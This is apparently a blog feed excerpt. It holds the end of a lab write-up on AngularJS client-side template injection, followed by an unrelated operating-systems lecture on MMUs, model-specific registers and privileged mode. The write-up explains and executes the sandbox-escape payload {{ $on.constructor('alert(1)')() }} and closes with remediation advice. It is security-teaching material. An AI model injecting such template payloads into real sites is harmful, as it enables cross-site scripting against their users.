<p>  Even <strong>if no properties are explicitly bound in the DOM</strong>, the DOM nodes (via AngularJS directives like <code>ng-controller</code>, <code>ng-repeat</code>, etc.) are <strong>still under the influence</strong> of the <code>$scope</code> object from the controller.</p>
</li>
<li><p>So, even if a DOM node doesn’t use any <code>{{ expression }}</code> or directive, the scope still <strong>applies and exists</strong> for it — it's just not visible until you tap into it.</p>
</li>
<li><p>Because of <strong>JavaScript’s prototypal inheritance</strong>, any HTML node under an AngularJS controller:</p>
<ul>
<li><p>Gets associated with a <strong>scope object</strong>, and</p>
</li>
<li><p>That scope object <strong>inherits from</strong> <code>$rootScope</code>, which provides built-in methods like:</p>
<ul>
<li><p><code>$eval()</code></p>
</li>
<li><p><code>$on()</code></p>
</li>
<li><p><code>$watch()</code></p>
</li>
<li><p><code>$emit()</code></p>
</li>
<li><p><code>$broadcast()</code></p>
</li>
</ul>
</li>
</ul>
</li>
<li><p>Even if the DOM element doesn't use <code>{{ }}</code> or bind any model, as long as it's within the controller's scope, it <strong>inherits</strong> those scope methods through the prototype chain.</p>
</li>
<li><p>Based on this logic, let us construct our payload</p>
<pre><code class="lang-jsx">  {{ $on.constructor(<span class="hljs-string">'alert(1)'</span>)() }}
</code></pre>
<ul>
<li><p><code>$on</code> is a <strong>function</strong> (defined on the prototype of <code>$rootScope</code>).</p>
</li>
<li><p>In JavaScript, <strong>all functions are objects</strong>, and all function objects have a <code>.constructor</code> property.</p>
</li>
<li><p>So when you do:</p>
<pre><code class="lang-jsx">  $scope.$on.constructor
</code></pre>
</li>
<li><p>You're accessing the <code>.constructor</code> property of the <code>$on</code> function object</p>
</li>
<li><p>This returns the <strong>native</strong> <code>Function</code> constructor:</p>
<pre><code class="lang-jsx">  <span class="hljs-built_in">console</span>.log($scope.$on.constructor === <span class="hljs-built_in">Function</span>); <span class="hljs-comment">// ✅ true</span>
</code></pre>
</li>
<li><p><code>$on.constructor('alert(1)')</code> — Evaluates to a function equivalent to <code>new Function('alert(1)')</code></p>
</li>
<li><p><code>()</code>: Immediately invokes that function</p>
</li>
<li><p>Because, In JavaScript, functions are first-class objects, and you can:</p>
<ul>
<li><p>Create a function dynamically (e.g., via <code>Function</code> constructor)</p>
</li>
<li><p>Call it immediately using <code>()</code> — even in the <strong>same line</strong></p>
</li>
</ul>
</li>
</ul>
</li>
<li><p>Let’s execute the payload in the search bar of the website</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763921177305/9469a694-d761-40aa-a3b5-5331a60a0b54.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>After successful execution of the JS exploit, the lab will be solved</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763921199809/1e9e8cbf-a86a-4aad-a46c-486af5802b67.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Using the above payload, we were able to <strong>leverage prototypal inheritance in JavaScript</strong> to access the <code>$on</code> method, retrieve its <code>.constructor</code> (which points to the native <code>Function</code> constructor), and <strong>dynamically create a new global function</strong>.</p>
</li>
<li><p>By appending <code>()</code> at the end, we <strong>immediately invoked</strong> the generated function, which executed the <code>alert()</code> call — resulting in an alert popup, all within a single line of code.</p>
</li>
<li><p><strong>In summary</strong>, AngularJS expressions can be abused when user-controlled data is processed by the Angular template engine. By leveraging prototype inheritance and accessing the <code>Function</code> constructor through <code>$on.constructor()</code>, an attacker can escape AngularJS sandboxing and execute arbitrary JavaScript.</p>
</li>
</ul>
<h2 id="heading-remediation">Remediation</h2>
<ul>
<li><p>Use AngularJS 1.8.0+ patched sandbox</p>
</li>
<li><p>Disable expression evaluation (<code>strictContextualEscaping</code>)</p>
</li>
<li><p>Use Content Security Policy (CSP)</p>
</li>
<li><p>Sanitize user input before rendering</p>
</li>
</ul>
<h2 id="heading-sandboxing-in-angularjs">Sandboxing in AngularJS</h2>
<h3 id="heading-why-is-used-in-angularjs">Why <code>{{ }}</code> Is Used in AngularJS</h3>
<p>AngularJS uses double curly braces (<code>{{ }}</code>) for <strong>expression binding</strong>, also known as <strong>interpolation</strong>.</p>
<p>This syntax allows dynamic values to be inserted into the DOM based on JavaScript expressions evaluated by AngularJS. It enables the view (HTML) to reactively display data managed by the controller.</p>
<p><strong>Example:</strong></p>
<pre><code class="lang-javascript">&lt;p&gt;Hello {{ username }}!&lt;/p&gt;
</code></pre>
<p>If <code>$scope.username = "Logan"</code> in the controller, AngularJS replaces the placeholder dynamically with:</p>
<pre><code class="lang-javascript">Hello Logan!
</code></pre>
<p>It can also evaluate JavaScript expressions:</p>
<pre><code class="lang-javascript">{{ <span class="hljs-number">2</span> + <span class="hljs-number">2</span> }}           → <span class="hljs-number">4</span>
{{ username.toUpperCase() }} → LOGAN
</code></pre>
<p><strong>Key points:</strong></p>
<ul>
<li><p><code>{{ }}</code> acts like a safe, mini expression parser.</p>
</li>
<li><p>It updates automatically when scope values change (two-way binding).</p>
</li>
<li><p>It avoids writing full <code>&lt;script&gt;</code> tags inside HTML.</p>
</li>
</ul>
<p>This mechanism improves templating — but also becomes dangerous when <strong>user input is parsed as an expression</strong>, leading to AngularJS-based XSS.</p>
<h3 id="heading-what-is-angularjs-sandboxing">What Is AngularJS Sandboxing?</h3>
<p>AngularJS includes a <strong>sandbox</strong>, which is a restricted execution environment designed to prevent template expressions from running arbitrary JavaScript.</p>
<p>In theory, this means expressions inside <code>{{ }}</code> should only access a limited safe subset of functions - NOT the entire DOM or global JavaScript environment.</p>
<p>For example, the sandbox is meant to allow:</p>
<pre><code class="lang-javascript">{{ <span class="hljs-number">1</span> + <span class="hljs-number">1</span> }}  ✔
{{ user.name }} ✔
</code></pre>
<p>But block:</p>
<pre><code class="lang-javascript">{{ alert(<span class="hljs-number">1</span>) }} ❌
{{ constructor.constructor(<span class="hljs-string">'alert(1)'</span>)() }} ❌
</code></pre>
<p>However — earlier AngularJS versions (including <strong>1.7.7</strong>, as in this lab) had <strong>sandbox escape vulnerabilities</strong>. By abusing prototype inheritance and accessing internal function constructors, attackers can bypass the sandbox and execute real JavaScript.</p>
<p>So the payload:</p>
<pre><code class="lang-jsx">{{ $on.constructor(<span class="hljs-string">'alert(1)'</span>)() }}
</code></pre>
<p>works because it <strong>breaks out of the sandbox</strong> and executes code in the page’s JavaScript context -effectively turning a harmless template expression into a stored or reflected XSS.</p>
<h3 id="heading-csti-the-origin-of-this-vulnerability-class">CSTI: The Origin of This Vulnerability Class</h3>
<p>This behavior led to the emergence of a new type of security issue known as <strong>Client-Side Template Injection (CSTI)</strong>.</p>
<p>In AngularJS and other JavaScript frameworks that support client-side templating, user-controlled input may be interpreted as executable template code rather than plain text. When untrusted data reaches the Angular interpolation engine (<code>{{ }}</code>), attackers can inject expressions and begin interacting with the framework:</p>
<pre><code class="lang-javascript">{{ <span class="hljs-number">7</span>*<span class="hljs-number">7</span> }} → CSTI detection
</code></pre>
<p>From there, chaining prototype abuse with sandbox bypass techniques allows escalation to full script execution:</p>
<pre><code class="lang-javascript">{{ $on.constructor(<span class="hljs-string">'alert(1)'</span>)() }} → XSS
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Lecture 3 - Reinventing MMU [Part - 2]]]></title><description><![CDATA[Disclaimer
⚠️ Where the MMU walks, addresses shiver — for it decides which memories live… and which are exiled to the void.
The following content dives deep into the shadows of system memory — where addresses deceive, and pages guard their secrets.
S...]]></description><link>https://breachforce.net/lecture-3-reinventing-mmu-part-2</link><guid isPermaLink="true">https://breachforce.net/lecture-3-reinventing-mmu-part-2</guid><dc:creator><![CDATA[Rehan Shaikh]]></dc:creator><pubDate>Sat, 08 Nov 2025 18:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1763234243271/6bb1c737-9def-4975-a06d-7ca59791c881.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-disclaimer"><strong>Disclaimer</strong></h3>
<p>⚠️ <strong>Where the MMU walks, addresses shiver — for it decides which memories live… and which are exiled to the void.</strong></p>
<p>The following content dives deep into the shadows of system memory — where addresses deceive, and pages guard their secrets.</p>
<p><strong>Students and beginners</strong>, proceed at your own risk — the <strong>MMU</strong> remembers everything you do.</p>
<blockquote>
<p>In this OS series, the focus will be on the <strong>Operating System</strong> (software context) components, not the hardware context of the components. <em>(For the hardware context, refer to computer architecture.)</em></p>
</blockquote>
<p><strong>Special Thanks</strong></p>
<p>Heartfelt gratitude to <a target="_blank" href="https://www.linkedin.com/in/adhokshajmishra/"><strong>Mr. Adhakshoj Mishra Ji</strong></a> for his insightful session and for reviewing this blog.</p>
<p>A sincere thanks as well to the <strong>BreachForce Community Members</strong> for sharing their valuable notes, and to the <strong>BreachForce Community Volunteers</strong> for helping collate and refine this content.</p>
<h1 id="heading-preface">Preface</h1>
<p>In the <a target="_blank" href="https://breachforce.net/lecture-2-reinventing-mmu-part-1">last blog</a>, we explored how the Memory Management Unit (MMU) was born - what challenges it solved, how it reshaped the way systems handle memory, and how it paved the way for powerful abstraction layers that give us fine-grained control over both the CPU and RAM.</p>
<p>Now in Part-2, we’ll explore a series of problems along with their possible solutions. As we introduce these solutions, we’ll inevitably encounter smaller sub-problems—which we’ll resolve using their own mini-solutions. With each refinement, we’ll iteratively evolve and improve our overall design.</p>
<p>One such problem is this: <strong>a process might overwrite the abstraction layer tables (page tables) if proper safeguards aren’t implemented. So how do we prevent that from happening?</strong></p>
<h1 id="heading-mmu">MMU</h1>
<h2 id="heading-problem-how-do-we-prevent-accidental-over-write">Problem: How do we Prevent Accidental Over-write?</h2>
<ul>
<li><p>In the <a target="_blank" href="https://breachforce.net/lecture-2-reinventing-mmu-part-1">last blog</a>, we allowed our Meta-Program (the early OS) to configure the address translation tables. But this introduces a serious issue: if the Meta-Program can do it, <strong>any other user process could also attempt to modify these tables.</strong></p>
</li>
<li><p>How do we prevent untrusted processes from tampering with the memory translation mechanism?</p>
<ul>
<li>❌ No normal user process can modify MMU tables<br />  ✔ Only the OS (Meta-Program) can do it safely</li>
</ul>
</li>
</ul>
<h2 id="heading-solution">Solution</h2>
<h3 id="heading-solution-0-merge-the-abstraction-layer-into-the-cpu">Solution 0: Merge the Abstraction Layer Into the CPU</h3>
<p>It is time to do something with the CPU and the Meta-program to solve the above problem.</p>
<ul>
<li><p>We will merge the Abstraction Layer (MMU) into the CPU because:</p>
<ul>
<li><p>It is not possible to directly upgrade the CPU.</p>
</li>
<li><p>The abstraction layer logically sits closer to the CPU than RAM.</p>
</li>
<li><p>It is easier to give it special interconnect, than fiddling with general purpose interconnect. And less chances of things going wrong</p>
</li>
</ul>
</li>
</ul>
<blockquote>
<p>Note: <strong>Interconnect is the hardware wiring or communication pathway that links different components inside a CPU or system so they can exchange data and signals.</strong></p>
</blockquote>
<p>Therefore, no separate buses for communication between CPU → Abstraction Layer and Abstraction Layer → RAM will be needed</p>
<ul>
<li>Now, the definition of CPU changed to a CPU Model.</li>
</ul>
<h3 id="heading-design-architecture-modern-cpu-model-cpu-abstraction-layer">Design Architecture: Modern CPU Model (CPU + Abstraction Layer)</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763233272029/c1885fb6-b3b7-4455-a3db-b2b04ede86ba.png" alt class="image--center mx-auto" /></p>
<ul>
<li>We have finally created a CPU Model which stored the Abstraction Layer (MMU) inside it.</li>
</ul>
<h3 id="heading-problem-1-no-separate-bus-between-cpu-and-abstraction-layer">Problem 1: No Separate Bus between CPU and Abstraction Layer</h3>
<ul>
<li><p>Without using the general-purpose buses, how will the CPU communicate with the Abstraction Layer (MMU)?</p>
</li>
<li><p>We need to have some sort of communication between CPU and Abstraction Layer for the Abstraction Layer to do its job as we are not using the General Purpose Interconnect, because</p>
<ul>
<li><p>Any instruction could possibly access it</p>
</li>
<li><p>User processes could accidentally or intentionally misuse it</p>
</li>
</ul>
</li>
<li><p>We need to have some special purpose interconnect.</p>
</li>
</ul>
<h3 id="heading-solution-1-introduction-of-special-purpose-interconnect-spi">Solution 1: Introduction of Special Purpose Interconnect (SPI)</h3>
<ul>
<li><p>We have established a special interconnect between the CPU and Abstraction Layer.</p>
</li>
<li><p>With this, the Interconnect has been divided into</p>
<ul>
<li><p><strong>General Purpose Interconnect</strong>: A shared, standard data pathway used by the CPU to communicate with memory and most hardware.</p>
</li>
<li><p><strong>Special-Purpose Interconnect</strong>: A private, restricted hardware pathway inside the CPU that normal instructions cannot access.</p>
</li>
</ul>
</li>
<li><p>The SPI lets the CPU talk to the MMU securely</p>
</li>
<li><p>This has again created a new problem for us.</p>
</li>
</ul>
<h3 id="heading-problem-2-no-special-instructions-between-cpu-and-the-abstraction-layer">Problem 2: No Special Instructions between CPU and the Abstraction Layer</h3>
<ul>
<li><p>The SPI is private, existing <strong>general-purpose instructions</strong> cannot communicate with the Abstraction Layer through the <strong>special-purpose interconnect</strong> as they don’t know how to use it.</p>
</li>
<li><p>So, we need a clean way to <strong>separate normal instructions</strong> from those that perform privileged, hardware-level operations.</p>
</li>
<li><p>This raises a design question:</p>
<p>  <strong>Can we add a dedicated unit inside the CPU that understands, stores, executes, and protects these special instructions?</strong></p>
</li>
</ul>
<h3 id="heading-solution-2-introduction-of-model-specific-registers-msr">Solution 2: Introduction of Model Specific Registers (MSR)</h3>
<p>To solve this problem, we introduce a new class of registers called <strong>Model Specific Registers (MSRs)</strong>.</p>
<ul>
<li><p>MSRs are special registers whose presence, purpose, and count <strong>vary from CPU model to CPU model</strong> (hence the name <em>Model Specific</em>).</p>
<p>  CPU vendors document these in their <strong>datasheets</strong>, and OS developers must consult these to understand the available MSRs.</p>
</li>
<li><p>These MSRs act as a dedicated interface between the CPU and the Abstraction Layer, and only <strong>special-purpose instructions</strong> are allowed to read/write them.</p>
</li>
<li><p>To ensure general-purpose instructions cannot accidentally or intentionally modify these sensitive registers, we introduce <strong>new special instructions</strong>:</p>
<ul>
<li><p><strong>RDMSR</strong> - Read data from an MSR</p>
</li>
<li><p><strong>WRMSR</strong> - Write data into an MSR</p>
</li>
</ul>
</li>
<li><p>These special instructions prevent accidental overwrites by user-mode software, and old software continues to run safely, since it has <strong>no knowledge of these new instructions</strong>.</p>
</li>
<li><p>However, if a malicious or “oversmart” developer tries to use <code>RDMSR</code> or <code>WRMSR</code> inside normal programs, the CPU will:</p>
<ul>
<li><p>Trigger a <strong>fault or interrupt</strong>,</p>
</li>
<li><p>Hand control back to the Meta-Program (OS),</p>
</li>
<li><p>Which can then decide whether to kill the misbehaving process or silently handle it.</p>
</li>
<li><p>Importantly, we cannot expose these special opcodes as normal memory-mapped instructions - that would require fixing rigid address ranges inside the OS, leading to immense <strong>space complexity</strong> and unmaintainable designs. We will explore more on this at the end of the blog.</p>
</li>
</ul>
</li>
</ul>
<p>    Thus, MSRs and their special instructions together:</p>
<ul>
<li><p>Compute privileged values</p>
</li>
<li><p>Store critical configuration data</p>
</li>
<li><p>Load those values back into the CPU</p>
</li>
<li><p>Act as a secure hardware control interface for the Meta-Program (OS)</p>
</li>
</ul>
<p>    But once again, adding MSRs introduces a new challenge for us.</p>
<h3 id="heading-problem-3-how-does-the-cpu-know-who-is-allowed-to-run-special-instructions"><strong>Problem 3: How Does the CPU Know Who Is Allowed to Run Special Instructions?</strong></h3>
<ul>
<li><p>Older software will simply never invoke <code>RDMSR</code> or <code>WRMSR</code> - these instructions didn’t exist back then. So they naturally stay safe.</p>
</li>
<li><p>But what about <strong>new modern software</strong> that <em>can</em> attempt to execute these special instructions?</p>
</li>
<li><p>How will the CPU differentiate between:</p>
<ul>
<li><p>trusted Meta-Program (which should be allowed), and</p>
</li>
<li><p>normal user programs (which must be blocked)?</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-solution-3-introduction-of-privilege-mode">Solution 3: Introduction of Privilege Mode</h3>
<ul>
<li><p>We cannot base our solution on:</p>
<ul>
<li><p>address ranges</p>
</li>
<li><p>Hard-coded memory locations</p>
</li>
<li><p>or page-table tricks</p>
</li>
</ul>
</li>
<li><p>Such approaches create massive space complexity and unmaintainable OS designs.</p>
</li>
<li><p>Instead, we need something simpler and more reliable.</p>
</li>
<li><p>We solve this in three steps:</p>
</li>
</ul>
<p><strong>Step 1: A Flag Inside the CPU to Identify the Meta-Program</strong></p>
<ul>
<li><p>We introduce a <strong>special privilege flag</strong> inside the CPU.</p>
</li>
<li><p>The instruction decoder will check this flag before executing any special-purpose instruction.</p>
</li>
<li><p>If the flag is <strong>set</strong> → the instruction is allowed</p>
</li>
<li><p>If the flag is <strong>unset</strong> → the CPU triggers a <strong>fault/interrupt</strong></p>
</li>
<li><p>This ensures that:</p>
<ul>
<li><p>General programs cannot execute privileged instructions</p>
</li>
<li><p>Only the Meta-Program (OS kernel) can</p>
</li>
<li><p>Misbehaving processes will be immediately terminated or trapped</p>
</li>
</ul>
</li>
<li><p>This is much cleaner than creating fixed memory regions or address-based gating.</p>
</li>
</ul>
<p><strong>Step 2: Use Interrupts to Switch Into the Meta-Program</strong></p>
<ul>
<li><p>Only the Meta-Program (OS) can register interrupt handlers.</p>
</li>
<li><p>So when a user program tries to execute <code>RDMSR</code> or <code>WRMSR</code>:</p>
<ol>
<li><p>The CPU sees the flag is <strong>not set</strong></p>
</li>
<li><p>The CPU raises an <strong>interrupt / trap</strong></p>
</li>
<li><p>The interrupt handler registered by the Meta-Program runs</p>
</li>
<li><p>The Meta-Program decides whether to:</p>
<ul>
<li><p>kill the process</p>
</li>
<li><p>log it</p>
</li>
<li><p>emulate the behavior</p>
</li>
<li><p>or deny access</p>
</li>
</ul>
</li>
</ol>
</li>
<li><p>This gives us a natural mechanism for control.</p>
</li>
</ul>
<p>Essentially: Triggering an interrupt = entering the Meta-Program.</p>
<p>This gives full control to the OS at all times.</p>
<p><strong>Step 3: Using the Meta-Program to reset the flag</strong></p>
<p>Whenever the OS switches into kernel code:</p>
<pre><code class="lang-plaintext">set privilege flag = ON
</code></pre>
<p>Whenever it returns to user mode:</p>
<pre><code class="lang-plaintext">clear privilege flag = OFF
</code></pre>
<p>So,</p>
<ul>
<li><p>During context switching:</p>
<ul>
<li><p>Before running kernel code → <strong>set the privilege flag</strong></p>
</li>
<li><p>Before resuming a user process → <strong>clear the privilege flag</strong></p>
</li>
</ul>
</li>
<li><p>This ensures:</p>
<ul>
<li><p>Special instructions only run in the Meta-Program</p>
</li>
<li><p>User processes always run with privilege flag OFF</p>
</li>
<li><p>The kernel cannot accidentally “leak” privilege into user mode</p>
</li>
</ul>
</li>
</ul>
<p>When the system boots:</p>
<ul>
<li><p>The bootloader loads the Meta-Program (OS)</p>
</li>
<li><p>The OS sets the privilege flag</p>
</li>
<li><p>Execution continues with full control</p>
</li>
<li><p>The OS then switches CPU into the appropriate CPU mode</p>
<ul>
<li><p>8086 → Protected Mode (32-bit)</p>
</li>
<li><p>Protected Mode → Long Mode (64-bit)</p>
</li>
</ul>
</li>
</ul>
<blockquote>
<p>Using the above approach, we just invented <strong>Privileged Mode</strong></p>
</blockquote>
<h3 id="heading-categories-of-instructions-in-cpu">Categories of Instructions in CPU</h3>
<ul>
<li><p>By adding this privilege flag check, we have effectively created <strong>two types of instructions</strong> inside the CPU:</p>
<ol>
<li><p><strong>General-Purpose Instructions</strong></p>
<ul>
<li><p>Normal instructions</p>
</li>
<li><p>Execute regardless of privilege flag</p>
</li>
<li><p>Available in user mode</p>
</li>
</ul>
</li>
<li><p><strong>Special-Purpose Instructions</strong></p>
<ul>
<li><p>Privileged operations (<code>RDMSR</code>, <code>WRMSR</code>, I/O instructions, etc.)</p>
</li>
<li><p>Execute <strong>only</strong> when privilege flag is ON</p>
</li>
<li><p>Otherwise trigger an interrupt</p>
</li>
</ul>
</li>
</ol>
</li>
<li><p>This separation is the foundation of <strong>user mode vs kernel mode</strong> in all modern CPUs.</p>
</li>
<li><p>Special-Purpose instructions can be used to switch from user mode to kernel mode.</p>
</li>
</ul>
<h3 id="heading-privileged-mode">Privileged Mode</h3>
<ul>
<li><p>Putting this all together:</p>
<ul>
<li><p>A privilege-identifying CPU flag</p>
</li>
<li><p>An instruction decoder that checks the flag</p>
</li>
<li><p>Interrupts that hand control to the Meta-Program</p>
</li>
<li><p>Special instructions restricted to privileged code</p>
</li>
<li><p>Kernel sets/clears the flag during context switches</p>
</li>
</ul>
</li>
</ul>
<p>Congrats, this is <strong>Privileged Mode</strong>. The CPU now distinguishes between <em>user mode</em> and <em>kernel mode</em>.</p>
<ul>
<li><p><strong>User Mode</strong> → normal code</p>
</li>
<li><p><strong>Kernel Mode</strong> → privileged operations</p>
</li>
</ul>
<blockquote>
<p>Even I/O operations are restricted using this same mechanism</p>
</blockquote>
<p>We have successfully dealt with the accidental over write problem completely</p>
<h3 id="heading-how-real-systems-implement-privileged-mode">How Real Systems Implement Privileged Mode</h3>
<p>Different architectures expose privilege mode switching through different mechanisms:</p>
<ul>
<li><p><strong>32-bit systems</strong></p>
<ul>
<li><p><code>int 0x80</code> → switch from user mode → kernel mode</p>
</li>
<li><p><code>iret</code> → return from kernel mode → user mode</p>
</li>
</ul>
</li>
<li><p><strong>64-bit systems</strong></p>
<ul>
<li><p><code>syscall</code> / <code>sysenter</code> → enter privilege mode</p>
</li>
<li><p><code>sysret</code> / <code>sysexit</code> → return to user mode</p>
</li>
</ul>
</li>
</ul>
<p>    This is exactly how Linux, Windows, BSD, macOS, and every modern OS operate. The privileged mode gave birth to another problem.</p>
<h3 id="heading-problem-what-happens-when-older-meta-program-boots">Problem: What happens when older Meta-Program boots?</h3>
<p>When we introduce MSRs and special instructions like <code>RDMSR</code> and <code>WRMSR</code>, the CPU now expects the Meta-Program (OS) to perform <strong>extra setup</strong> before these instructions can be safely used:</p>
<ul>
<li><p>Initialize MSRs</p>
</li>
<li><p>register interrupt handlers</p>
</li>
<li><p>configure privilege mode</p>
</li>
<li><p>set the privilege flag</p>
</li>
<li><p>prepare CPU control structures</p>
</li>
</ul>
<p>A modern OS understands these requirements and configures everything properly.</p>
<p>But older Meta-Programs:</p>
<ul>
<li><p>don’t know MSRs exist</p>
</li>
<li><p>don’t know these new instructions(<code>RDMSR</code>/<code>WRMSR</code>) exist</p>
</li>
<li><p>don’t register the required handlers</p>
</li>
<li><p>don’t configure privilege flags</p>
</li>
<li><p>don’t perform <em>any</em> of the required setup</p>
</li>
</ul>
<p>So if the CPU were to boot directly into the new privileged architecture, an older OS would:</p>
<ul>
<li><p>fail instantly</p>
</li>
<li><p>get stuck on an unexpected MSR access</p>
</li>
<li><p>crash due to missing handlers</p>
</li>
<li><p>or fall into undefined behavior</p>
</li>
</ul>
<p>We have 2 options now:</p>
<ul>
<li><p>Either we can kiss Old meta-programs good bye and enrage our users.</p>
</li>
<li><p>Or We can try to maintain some backwards compatibility.</p>
</li>
</ul>
<h3 id="heading-solution-boot-the-cpu-in-legacy-mode">Solution: Boot the CPU in Legacy Mode</h3>
<p>We have 2 approaches, to solve this problem:</p>
<ul>
<li><p>Either we boot the CPU in <strong>legacy mode</strong>.</p>
</li>
<li><p>Or the Meta-program unintentionally switches to <strong>newer mode</strong>.</p>
</li>
</ul>
<p>To avoid breaking older Meta-Programs, the CPU must not start directly in the new privileged architecture.</p>
<p>Instead, we <strong>maintain backward compatibility</strong> by doing the following:</p>
<ul>
<li><p><strong>Start the CPU in Legacy Mode</strong>, where it behaves exactly like older CPUs.</p>
<ul>
<li>In this mode, none of the new privileged features (MSRs, special instructions, privilege checks) are active.</li>
</ul>
</li>
<li><p><strong>Provide additional configuration options</strong> that allow a modern Meta-Program (OS) to intentionally switch the CPU into the newer mode, where:</p>
<ul>
<li><p>privileged vs non-privileged distinction exists</p>
</li>
<li><p>MSRs become active</p>
</li>
<li><p>special instructions like RDMSR/WRMSR are enforced</p>
</li>
<li><p>the privilege flag is checked by the instruction decoder</p>
</li>
</ul>
</li>
</ul>
<p>This design ensures that:</p>
<ul>
<li><p><strong>Old Meta-Programs continue to run normally</strong> without crashing</p>
</li>
<li><p><strong>Newer Meta-Programs can access and benefit from modern CPU features</strong> whenever they choose to enable them</p>
</li>
<li><p>but because we delegated all controls to Interrupts, we now face another problem.</p>
</li>
</ul>
<h3 id="heading-problem-any-process-can-trigger-interrupts-how-do-we-protect-privileged-handlers">Problem: Any Process Can Trigger Interrupts - How Do We Protect Privileged Handlers?</h3>
<p>In our design so far, any process (user-mode or Meta-Program) can execute an interrupt instruction.</p>
<p>But interrupts always jump directly into the Meta-Program (OS), because only the Meta-Program has registered interrupt handlers.</p>
<p>This creates a new risk:</p>
<ul>
<li>If all interrupts enter the Meta-Program, how do we prevent user processes from triggering sensitive or privileged interrupts?</li>
</ul>
<p>If we do nothing, a malicious program could:</p>
<ul>
<li><p>try to reach MSR-related interrupt handlers</p>
</li>
<li><p>attempt to run privileged sequences</p>
</li>
<li><p>modify CPU configuration</p>
</li>
<li><p>bypass privilege checks</p>
</li>
<li><p>or crash the system</p>
</li>
</ul>
<p>We need a mechanism to decide <strong>which interrupt handlers a normal process is allowed to invoke</strong>, and which ones must remain <strong>exclusive to the Meta-Program</strong>.</p>
<h3 id="heading-solution-categorizing-interrupt-handlers-into-public-and-private">Solution: Categorizing Interrupt Handlers into Public and Private</h3>
<p>To solve this, we divide all interrupt handlers into two categories.</p>
<ul>
<li><p><strong>Public Interrupts (Allowed for User Processes)</strong></p>
<ul>
<li><p>These are safe to expose:</p>
</li>
<li><p>Examples:</p>
<ul>
<li><p>Normal software interrupts</p>
</li>
<li><p>System call entry points</p>
</li>
<li><p>Timer notifications</p>
</li>
<li><p>Basic, non-dangerous interrupts</p>
</li>
</ul>
</li>
<li><p>A user-mode process <em>can</em> invoke these, because they do not give access to any privileged CPU state.</p>
</li>
<li><p>These are how normal programs request OS services.</p>
</li>
</ul>
</li>
<li><p><strong>Private Interrupts (Restricted to the Meta-Program Only)</strong></p>
<ul>
<li><p>These must <strong>never</strong> be directly triggered by user processes:</p>
</li>
<li><p>Examples:</p>
<ul>
<li><p>MSR-related handlers</p>
</li>
<li><p>Privileged configuration instructions</p>
</li>
<li><p>CPU mode-switching handlers</p>
</li>
<li><p>Memory-management and internal CPU traps</p>
</li>
</ul>
</li>
<li><p>Anything that modifies or configures hardware state</p>
</li>
<li><p>If a user process tries to access these:</p>
<ul>
<li><p>The CPU triggers a fault</p>
</li>
<li><p>The fault enters the Meta-Program</p>
</li>
<li><p>The Meta-Program kills or blocks the process</p>
</li>
</ul>
</li>
<li><p>This guarantees the privileged parts of the system remain safe.</p>
</li>
</ul>
</li>
</ul>
<p>The CPU + Meta-Program enforce the separation using:</p>
<ul>
<li>Interrupt categories</li>
<li>Access-control tables</li>
<li>Privilege checks</li>
</ul>
<p>Different entry gates for user vs kernel interrupts</p>
<p>Even though <em>any</em> process can execute an interrupt instruction, it will reach <strong>only the handlers the Meta-Program has allowed</strong>, and the CPU will <strong>block access</strong> to restricted handlers.</p>
<ul>
<li><p>User-mode programs can access safe, public interrupt handlers.</p>
</li>
<li><p>Privileged interrupt handlers remain exclusive to the Meta-Program.</p>
</li>
<li><p>Privilege mode and interrupt categories together ensure complete protection.</p>
</li>
</ul>
<p><br /></p>
<h1 id="heading-additional-concepts">Additional Concepts</h1>
<h3 id="heading-important-concepts-related-to-the-problem-why-msrs-cannot-be-memory-mapped">Important Concepts related to the Problem - Why MSRs Cannot Be Memory-Mapped</h3>
<p>Before understanding the design problem, we need to clarify a few important terms:</p>
<p><strong>Opcode (Operation Code)</strong></p>
<ul>
<li><p>An <strong>opcode</strong> is the machine-level numeric code that tells the CPU which instruction to execute.</p>
</li>
<li><p>Example: <code>RDMSR</code>, <code>WRMSR</code>, <code>ADD</code>, <code>MOV</code> - each has its own binary opcode.</p>
</li>
</ul>
<p><br />
<strong>Memory-Mapped Instruction / Memory-Mapped I/O</strong></p>
<ul>
<li><p>A design where hardware devices or special registers are assigned <strong>addresses inside normal memory space</strong>, so software accesses them using regular load/store operations:</p>
<pre><code class="lang-c">  mov eax, [<span class="hljs-number">0xFFFF</span>_FF10]   ; read from device/<span class="hljs-keyword">register</span>
</code></pre>
</li>
<li><p>This works for I/O devices, but not for CPU control registers like MSRs.</p>
</li>
</ul>
<p><br />
<strong>Page Table</strong></p>
<ul>
<li><p>A <strong>page table</strong> is a data structure used by the MMU to translate <strong>virtual addresses → physical addresses</strong>.</p>
</li>
<li><p>It defines which parts of memory a program can access.</p>
</li>
</ul>
<p><br /></p>
<p><strong>Per-Process Page Tables</strong></p>
<ul>
<li><p>Every process gets <strong>its own page table</strong>, defining:</p>
<ul>
<li><p>its own private virtual memory</p>
</li>
<li><p>its own mappings</p>
</li>
<li><p>its allowed permissions</p>
</li>
<li><p>what memory it is isolated from</p>
</li>
</ul>
</li>
<li><p>This is how modern OSes ensure process isolation and prevent memory leaks or corruption across processes.</p>
</li>
<li><p>More mappings in page tables → more memory usage → higher <strong>space complexity</strong>.</p>
</li>
</ul>
<p><br /></p>
<p><strong>Space Complexity (OS Context)</strong></p>
<p>How much total memory the OS must reserve in:</p>
<ul>
<li>virtual address space</li>
<li>physical memory</li>
<li>each process’s page table</li>
</ul>
<p>More reserved regions → heavier memory footprint → more complex memory layouts.</p>
<p><br />
<strong>Unmaintainable Designs</strong></p>
<p>A design becomes unmaintainable when:</p>
<ul>
<li><p>it requires hacks to keep working</p>
</li>
<li><p>consumes too much address space</p>
</li>
<li><p>complicates page tables and process isolation</p>
</li>
<li><p>becomes fragile with new CPU models</p>
</li>
<li><p>is difficult for OS developers to maintain or debug</p>
</li>
</ul>
<h3 id="heading-problem-why-msrs-cannot-be-memory-mapped">Problem: Why MSRs Cannot Be Memory-Mapped</h3>
<p>If MSRs were exposed as normal memory-mapped registers, the CPU would need to assign them fixed addresses like:</p>
